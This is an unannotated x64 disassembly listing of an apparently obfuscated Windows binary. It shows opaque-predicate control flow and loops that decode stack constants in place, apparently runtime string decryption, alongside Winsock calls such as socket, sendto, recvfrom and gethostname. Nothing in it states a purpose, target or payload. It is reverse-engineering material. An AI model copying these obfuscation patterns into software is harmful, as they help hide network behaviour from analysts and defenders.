movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5c
inc r8
dec r11
inc r11
jmp 0x1400498c3
add r9b, 0x18
movzx eax, r10b
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400498c3
lea edx, [r9 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004a119
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
add rbx, r8
jmp 0x14004a2de
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004a2de
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14004a168
sub r9b, 0x44
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x24
add dil, r9b
jmp 0x14004a1a2
add r9b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x1400498c3
sub r9b, 0x1e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2e
mov byte [rbp + r11], dil
inc r11
jmp 0x1400498c3
lea edx, [r9 + 0x36]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7a
add dil, dl
cmp r8, 0x10
jb 0x140049d05
lea edx, [r9 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14004a27d
lea edx, [r9 - 0x76]
movzx eax, r10b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp rbx, 4
jae 0x14004a103
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14004a058
lea edx, [r9 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140049d29
lea edx, [r9 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x12
add dil, dl
lea rax, [rbx + r8]
cmp rax, 0x42
je 0x14004a143
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x140049fd7
lea edx, [r9 - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
jmp 0x140049d61
add r9b, 0x54
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4c
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x1400498c3
sub r9b, 0x58
movzx eax, r10b
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004a1a2
lea edx, [r9 - 4]
mov ecx, recvfrom
jmp 0x14004a168
add r9b, 0x50
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x30
jmp 0x14004a2de
sub r9b, 0x5c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7c
add rbx, r8
jmp 0x14004a2de
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004a119
add r9b, 0x4c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x14
dec r11
inc r11
jmp 0x1400498c3
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x1400498c3
lea edx, [r9 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004a27a
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140049f25
lea edx, [r9 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140049db6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140049f5d
add r9b, 0x1c
movzx eax, r10b
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x1400498c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140049f82
lea edx, [r9 + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2c
jmp 0x14004a176
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140049fae
sub r9b, 0x34
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14004a2de
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140049db9
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
jmp 0x14004a119
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140049ffc
lea edx, [r9 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004a27a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a02b
add r9b, 0x56
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5a
inc r8
dec r11
inc r11
jmp 0x1400498c3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140049d6c
add r9b, 0x5a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x76
add rbx, r8
jmp 0x14004a2de
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a090
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x1400498c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a0a7
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x14004a168
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004a0d0
sub r9b, 0x18
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x58
add rbx, r8
jmp 0x14004a2de
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140049d2c
add r9b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400498c3
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x3a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x6a
add r9b, r10b
add r9b, dil
mov byte [rbp + r11], r9b
add rbx, r8
jmp 0x14004a2de
lea edx, [r9 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x44
jmp 0x14004a176
lea edx, [r9 + 0x42]
mov ecx, 0x19
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x1e
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x1400498c3
sub r9b, 0x6a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1a
jmp 0x14004a2de
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x66
add rbx, r8
jmp 0x14004a2de
sub r9b, 0x6e
movzx eax, r10b
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400498c3
lea edx, [r9 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004a27a
movzx r9d, r11b
lea edx, [r9 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x2e
add dil, dl
add r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11], cl
inc r8
dec r11
inc r11
jmp 0x1400498c3
lea ecx, [r11 + 0x32]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x5e
add rbx, r8
jmp 0x14004a2de
lea rax, [r11 + r15]
and sil, al
mov ecx, 0x2b
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400498c3
lea rax, [r11 + r12]
and sil, al
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x1400498c3
add r9b, 0x2e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x42
jmp 0x1400498c0
sub r9b, 0x7e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400498b0
lea rdx, [rbp + 0x146c7c8]
jmp 0x14004a376
lea rdx, [rbp + 0xc6729e]
jmp 0x14004a376
lea rdx, [rbp]
lea rcx, [rbp + 0x1a8]
call fcn.140043f70
mov r14, rax
mov dword [rbp + 0x90], 0xc8cadbdb
mov word [rbp + 0x94], 0xd6c9
mov byte [rbp + 0x96], 6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x97], xmm0
mov qword [rbp + 0xa7], rax
mov byte [rbp + 0xaf], al
movabs r15, 0x36349496e59afa56
movabs r13, 0x7b701020473cd85a
movabs r12, 0xa29dbdc4b0d0ef02
movzx edi, byte [rsp + 0x20]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x14004aef0
movzx r10d, byte [rbp + r11 + 0x90]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14004aee7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004a43c
lea rcx, [r11 + r15]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x5a
jmp 0x14004a476
je 0x14004ae75
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004ade4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004ad85
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004ad5d
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004ad12
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14004aede
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14004a4aa
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x14004a4f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004acfa
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004acd1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004acb1
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004ac96
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004ac64
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14004aa21
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004aa13
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14004a9ed
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14004a9ca
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14004a9bc
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004a99f
lea rcx, [r8 + 0x40]
cmp rbx, rcx
je 0x14004a982
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004a963
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004a943
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004a914
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004a500
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x14004aec1
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x14004aea1
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14004a6b9
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14004a69e
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14004a67f
lea rcx, [r8 + 8]
cmp rbx, rcx
jb 0x14004a8c2
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14004a876
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004a836
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14004a80b
mov rbx, rcx
lea r8, [rcx + 5]
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14004a7dc
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14004a7bc
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14004a79d
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14004a77d
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14004a760
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14004a741
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14004a71b
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14004a6f5
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14004a6d6
lea rbx, [r8 + 1]
lea r8, [rbx + 9]
jmp 0x14004a500
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a4f0
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x14004a480
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
jmp 0x14004a410
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x14004ad30
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5c
inc r8
dec r11
inc r11
jmp 0x14004a3f3
add r9b, 0x18
movzx eax, r10b
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14004a3f3
lea edx, [r9 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14004ada3
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
jmp 0x14004adc8
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004adcb
lea edx, [r9 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14004ae00
sub r9b, 0x44
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x24
add dil, r9b
jmp 0x14004ae2e
add r9b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x90], dil
inc r11
jmp 0x14004a3f3
lea edx, [r9 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x40
jb 0x14004a826
lea edx, [r9 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14004ad30
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
cmp rbx, 0x10
jae 0x14004ac24
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14004abbd
lea edx, [r9 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14004a850
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 0x80
je 0x14004ac42
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14004ab03
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x14004a88c
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004ae2e
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004ae00
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x14004adcb
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
jmp 0x14004adc8
lea edx, [r9 - 8]
mov ecx, 0x1c
jmp 0x14004ad92
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
dec r11
inc r11
jmp 0x14004a3f3
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x14004a3f3
lea edx, [r9 - 0xc]
mov ecx, 0x2a
jmp 0x14004ad1f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14004aa48
lea ecx, [r9 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x14004a8dc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004aa83
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004aaa9
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x14004ae2e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004aacd
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x14004ae00
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004a8dc
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14004a3f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ab27
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14004ad30
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004ab56
sub r9b, 0x7e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14004a3f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ab7e
lea edx, [r9 + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x14004ae00
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004a88c
sub r9b, 0x76
movzx eax, r10b
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004abf8
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a850
lea edx, [r9 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xc
add dil, dl
jmp 0x14004ada3
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004ada3
lea edx, [r9 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x44
add dil, dl
jmp 0x14004ae00
add r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x14004ae00
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004adcb
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14004a3f3
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x14004ad30
movzx r9d, r11b
lea edx, [r9 + 0x62]
mov ecx, 0x29
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x66
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x36
add r10b, r9b
mov byte [rbp + r11 + 0x90], r10b
inc r8
dec r11
inc r11
jmp 0x14004a3f3
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14004a3f3
movzx r9d, r11b
lea edx, [r9 + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x46
movzx eax, r10b
and al, r9b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
add cl, dil
mov byte [rbp + r11 + 0x90], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004a3f3
lea rcx, [r11 + r13]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x76
add dil, cl
movzx r9d, r11b
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x90], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x90], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0xe
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a3f3
sub r9b, 0x52
movzx eax, r10b
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004a3f0
add r9b, 2
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xe
jmp 0x14004a3e0
lea rdx, [rbp + 0x1603258]
jmp 0x14004aef7
lea rdx, [rbp + 0x7b2cae]
jmp 0x14004aef7
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1c8]
call fcn.140043f70
nop
mov rdx, r14
mov rcx, rax
call fcn.140045bb0
mov dword [rsp + 0x50], 0xc7c0061
mov dword [rsp + 0x54], 0x704a7206
mov dword [rsp + 0x58], 0x53b87606
mov dword [rsp + 0x5c], 0x6811140b
mov dword [rsp + 0x60], 0x181d576a
mov dword [rsp + 0x64], 0x6079ad1f
mov dword [rsp + 0x68], 0x1f671f1c
mov dword [rsp + 0x6c], 0x2858247d
mov dword [rsp + 0x70], 0x652d5e22
mov dword [rsp + 0x74], 0xbf21262f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], eax
mov byte [rbp - 0x74], al
movabs rsi, 0x47e3ea4ce27defc3
movabs r15, 0xf73b681a31718e55
movabs r14, 0xd7abbee6a779cf49
movzx edi, byte [rsp + 0x20]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x3d
jae 0x14004bae1
movzx r10d, byte [rsp + r11 + 0x50]
mov edx, r10d
nop dword [rax + rax]
cmp rbx, r11
ja 0x14004bad8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004afec
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x55
jmp 0x14004b026
je 0x14004ba6f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004b9eb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004b994
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004b973
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b94f
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14004bacf
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14004b05a
lea ecx, [r9 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x14004b090
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004b90f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b8ec
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004b8cf
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004b8a3
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004b5e5
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004b5c6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b5a0
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004b57a
lea rax, [r8 + 0xa]
